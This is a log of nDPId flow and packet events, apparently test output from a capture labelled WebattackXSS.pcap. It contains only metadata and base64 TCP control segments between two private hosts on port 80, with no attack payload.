+00444{"flow_id":412,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5832,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347664,"pkt_ts_usec":227071,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6NqT+P5Dyg3xzKAScSAxwgAAAgQFtAQCCAoD5WGaATuQJQEDAwc="} +00433{"flow_id":412,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5833,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347664,"pkt_ts_usec":227794,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ye9AAD4GY+msEAABwKgKMujaAFDKDfHMk\/j+RIAQAOXQyQAAAQEICgE7kCUD5WGa"} +00433{"flow_id":409,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5837,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347664,"pkt_ts_usec":798166,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x6xAAD4G\/iusEAABwKgKMuikAFB+qkyEio0EwIARAOXJBwAAAQEICgE7kLQD5Vye"} +00433{"flow_id":409,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5838,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347664,"pkt_ts_usec":798393,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ZulAAEAGXO\/AqAoyrBAAAQBQ6KSKjQTAfqpMhYARAOPDfQAAAQEICgPlYikBO5C0"} +00433{"flow_id":409,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5839,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347664,"pkt_ts_usec":799139,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0x61AAD4G\/iqsEAABwKgKMuikAFB+qkyFio0EwYAQAOXDewAAAQEICgE7kLQD5WIp"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5843,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":413,"flow_packet_id":1,"flow_first_seen":1499347665473,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59624,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":413,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5843,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347665,"pkt_ts_usec":473433,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8f9VAAD4GRfusEAABwKgKMujoAFDrVO6JAAAAAKACchAJVQAAAgQFtAQCCAoBO5FcAAAAAAEDAwc="} +00444{"flow_id":413,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5844,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347665,"pkt_ts_usec":473558,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6OhBKwT561TuiqAScSBdWQAAAgQFtAQCCAoD5WLRATuRXAEDAwc="} +00432{"flow_id":413,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5845,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347665,"pkt_ts_usec":474323,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f9ZAAD4GRgKsEAABwKgKMujoAFDrVO6KQSsE+oAQAOX8XwAAAQEICgE7kV0D5WLR"} +00432{"flow_id":410,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5849,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347665,"pkt_ts_usec":798413,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SKFAAD4GfTesEAABwKgKMuiyAFDQzcTvYmHcgoARAOVMkQAAAQEICgE7ka4D5V3n"} +00432{"flow_id":410,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5850,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347665,"pkt_ts_usec":798630,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0v6FAAEAGBDfAqAoyrBAAAQBQ6LJiYdyC0M3E8IARAONHVgAAAQEICgPlYyMBO5Gu"} +00432{"flow_id":410,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5851,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347665,"pkt_ts_usec":799368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SKJAAD4GfTasEAABwKgKMuiyAFDQzcTwYmHcg4AQAOVHVAAAAQEICgE7ka4D5WMj"} +00433{"flow_id":411,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5855,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347666,"pkt_ts_usec":801276,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iaBAAD4GPDisEAABwKgKMujAAFBNGwQxmlvSR4ARAOVg\/wAAAQEICgE7kqgD5V8j"} +00432{"flow_id":411,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5856,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347666,"pkt_ts_usec":801521,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0tlpAAEAGDX7AqAoyrBAAAQBQ6MCaW9JHTRsEMoARAONcBgAAAQEICgPlZB0BO5Ko"} +00432{"flow_id":411,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5857,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347666,"pkt_ts_usec":802035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iaFAAD4GPDesEAABwKgKMujAAFBNGwQymlvSSIAQAOVcAwAAAQEICgE7kqkD5WQd"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5864,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":414,"flow_packet_id":1,"flow_first_seen":1499347668069,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59650,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":414,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5864,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347668,"pkt_ts_usec":69390,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8TE1AAD4GeYOsEAABwKgKMukCAFANB9+oAAAAAKACchDz4AAAAgQFtAQCCAoBO5PlAAAAAAEDAwc="} +00443{"flow_id":414,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5865,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347668,"pkt_ts_usec":69518,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6QI2lo7HDQffqaAScSDGIgAAAgQFtAQCCAoD5WVaATuT5QEDAwc="} +00431{"flow_id":414,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5866,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347668,"pkt_ts_usec":70042,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TE5AAD4GeYqsEAABwKgKMukCAFANB9+pNpaOyIAQAOVlKQAAAQEICgE7k+YD5WVa"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":374,"flow_packet_id":6,"flow_first_seen":1499347602223,"flow_last_seen":1499347607783,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58946,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":374,"flow_packet_id":6,"flow_first_seen":1499347602223,"flow_last_seen":1499347607783,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58946,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":375,"flow_packet_id":6,"flow_first_seen":1499347603507,"flow_last_seen":1499347608786,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58960,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":375,"flow_packet_id":6,"flow_first_seen":1499347603507,"flow_last_seen":1499347608786,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":370,"flow_packet_id":6,"flow_first_seen":1499347594595,"flow_last_seen":1499347599780,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58866,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":370,"flow_packet_id":6,"flow_first_seen":1499347594595,"flow_last_seen":1499347599780,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58866,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":371,"flow_packet_id":6,"flow_first_seen":1499347597121,"flow_last_seen":1499347602781,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58892,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":371,"flow_packet_id":6,"flow_first_seen":1499347597121,"flow_last_seen":1499347602781,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58892,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":372,"flow_packet_id":6,"flow_first_seen":1499347598383,"flow_last_seen":1499347603782,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58906,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":372,"flow_packet_id":6,"flow_first_seen":1499347598383,"flow_last_seen":1499347603782,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":373,"flow_packet_id":6,"flow_first_seen":1499347599663,"flow_last_seen":1499347604783,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58920,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5870,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":373,"flow_packet_id":6,"flow_first_seen":1499347599663,"flow_last_seen":1499347604783,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58920,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":415,"flow_packet_id":1,"flow_first_seen":1499347669336,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59664,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":415,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5873,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347669,"pkt_ts_usec":336569,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XbZAAD4GaBqsEAABwKgKMukQAFClPsiUAAAAAKACchBxcgAAAgQFtAQCCAoBO5UiAAAAAAEDAwc="} +00444{"flow_id":415,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5874,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347669,"pkt_ts_usec":336745,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6RAzOJpLpT7IlaAScSA6UQAAAgQFtAQCCAoD5WaXATuVIgEDAwc="} +00432{"flow_id":415,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5875,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347669,"pkt_ts_usec":337456,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XbdAAD4GaCGsEAABwKgKMukQAFClPsiVMziaTIAQAOXZWAAAAQEICgE7lSID5WaX"} +00433{"flow_id":412,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5880,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347669,"pkt_ts_usec":802315,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YfBAAD4GY+isEAABwKgKMujaAFDKDfHMk\/j+RIARAOXLVgAAAQEICgE7lZcD5WGa"} +00432{"flow_id":412,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5881,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347669,"pkt_ts_usec":802666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0mUhAAEAGKpDAqAoyrBAAAQBQ6NqT+P5Eyg3xzYARAOPF5QAAAQEICgPlZwwBO5WX"} +00433{"flow_id":412,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5882,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347669,"pkt_ts_usec":803399,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YfFAAD4GY+esEAABwKgKMujaAFDKDfHNk\/j+RYAQAOXF4wAAAQEICgE7lZcD5WcM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5886,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":416,"flow_packet_id":1,"flow_first_seen":1499347670582,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59678,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":416,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5886,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347670,"pkt_ts_usec":582234,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Rc1AAD4GgAOsEAABwKgKMukeAFDr3NOXAAAAAKACchAeiwAAAgQFtAQCCAoBO5ZaAAAAAAEDAwc="} +00444{"flow_id":416,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5887,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347670,"pkt_ts_usec":582328,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6R5lF6M+69zTmKAScSCrXwAAAgQFtAQCCAoD5WfPATuWWgEDAwc="} +00432{"flow_id":416,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5888,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347670,"pkt_ts_usec":583112,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Rc5AAD4GgAqsEAABwKgKMukeAFDr3NOYZRejP4AQAOVKZwAAAQEICgE7lloD5WfP"} +00432{"flow_id":413,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5892,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347670,"pkt_ts_usec":802666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f9dAAD4GRgGsEAABwKgKMujoAFDrVO6KQSsE+oARAOX3KgAAAQEICgE7lpED5WLR"} +00432{"flow_id":413,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5893,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347670,"pkt_ts_usec":802888,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0bPxAAEAGVtzAqAoyrBAAAQBQ6OhBKwT661Tui4ARAOPx9gAAAQEICgPlaAYBO5aR"} +00432{"flow_id":413,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5894,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347670,"pkt_ts_usec":803436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0f9hAAD4GRgCsEAABwKgKMujoAFDrVO6LQSsE+4AQAOXx9AAAAQEICgE7lpED5WgG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5904,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":417,"flow_packet_id":1,"flow_first_seen":1499347673136,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59704,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":417,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5904,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347673,"pkt_ts_usec":136683,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89tVAAD4GzvqsEAABwKgKMuk4AFAtrG4NAAAAAKACchA\/rgAAAgQFtAQCCAoBO5jYAAAAAAEDAwc="} +00444{"flow_id":417,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5905,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347673,"pkt_ts_usec":136780,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6ThuKc6nLaxuDqAScSCViQAAAgQFtAQCCAoD5WpNATuY2AEDAwc="} +00432{"flow_id":417,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5906,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347673,"pkt_ts_usec":137560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09tZAAD4GzwGsEAABwKgKMuk4AFAtrG4ObinOqIAQAOU0kQAAAQEICgE7mNgD5WpN"} +00432{"flow_id":414,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5910,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347673,"pkt_ts_usec":803156,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TE9AAD4GeYmsEAABwKgKMukCAFANB9+pNpaOyIARAOVfjwAAAQEICgE7mX8D5WVa"} +00433{"flow_id":414,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5911,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347673,"pkt_ts_usec":803372,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05DxAAEAG35vAqAoyrBAAAQBQ6QI2lo7IDQffqoARAONZ9gAAAQEICgPlavQBO5l\/"} 